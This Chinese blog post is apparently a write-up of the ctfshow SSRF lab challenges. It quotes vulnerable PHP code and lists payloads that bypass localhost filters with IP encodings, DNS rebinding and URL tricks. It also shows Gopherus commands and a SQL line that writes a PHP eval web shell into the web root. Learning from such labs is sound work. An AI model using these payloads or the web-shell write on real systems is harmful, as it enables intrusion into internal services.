ctfshow-SSRF

SSRF
其全称:Server—Side Request Forgery :服务器端请求伪造
是一种由攻击者构造形成的由 服务器端发起请求的一个安全漏洞。一般情况下,攻击的目是外网没有办法访问的内网。
很多WEb应用都其提供了从其他服务器上获取数据的功能,使用指定的url,web 应用可以获取图片,下载文件,读取文件等。这个功能如果被恶意使用,可以利用存在缺陷的web引用做为代理,攻击远程和本地服务器。

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

curl_setopt — 设置一个cURL传输选项
curl_init — 初始化一个cURL会话
curl_close — 关闭一个cURL会话

这里扫描发现一个flag.php这个页面但是非本地用户是不允许访问的!
肯定是要让我们以本地用户去访问127.0.0.1/flag.php!

url=http://127.0.0.1/flag.php

web352~353(ip 绕过)

十六进制
url=http://0x7F.0.0.1/flag.php

八进制
url=http://0177.0.0.1/flag.php

10 进制整数格式
url=http://2130706433/flag.php

16 进制整数格式.
url=http://0x7F000001/flag.php

还有一种特殊的省略模式

127.0.0.1写成127.1
用CIDR绕过localhost

url=http://127.127.127.127/flag.php
还有很多方式

url=http://0/flag.php
url=http://0.0.0.0/flag.php

https://tool.520101.com/wangluo/jinzhizhuanhuan/
转换网站!

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

web354(DNS重绑定)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这里看着大师傅做的!

url=http://sudo.cc/flag.php

parse_url — 解析 URL,返回其组成部分
CURLOPT_HEADER 启用时会将头文件的信息作为数据流输出。
CURLOPT_RETURNTRANSFER TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出。


web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这里是要求url里面的host主体部分小于5的!

url=http://127.1/flag.php

这样构造就可以了!

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这里变本加厉的将长度缩短为3一下了!

http://0/flag.php

0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0


web357(DNS重绑定)(未做)

DNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。

这里其实还是有点不理解的!所以不再所说什么了!

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

gethostbyname — 返回主机名对应的 IPv4地址。
filter_var — 使用特定的过滤器过滤一个变量
file_get_contents — 将整个文件读入一个字符串


web358(URL BYPASS)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

正则表达式意思为以ctf开头,以show结尾

http://ctf.@127.0.0.1/flag.php?show

359(gopherus-无密码mysql)(未做)

这里是个登录框!

python gopherus.py --exploit mysql
root
select "<?php eval@($_POST[1]);?>" into outfile "/var/www/html/a.php"

在这里插入图片描述
这里用到了Gopherus工具!这是用python2写的,所以我们要有python2的环境!
在这里插入图片描述


web360(redis)(未做)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

python gopherus.py --exploit redis
在这里插入图片描述


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值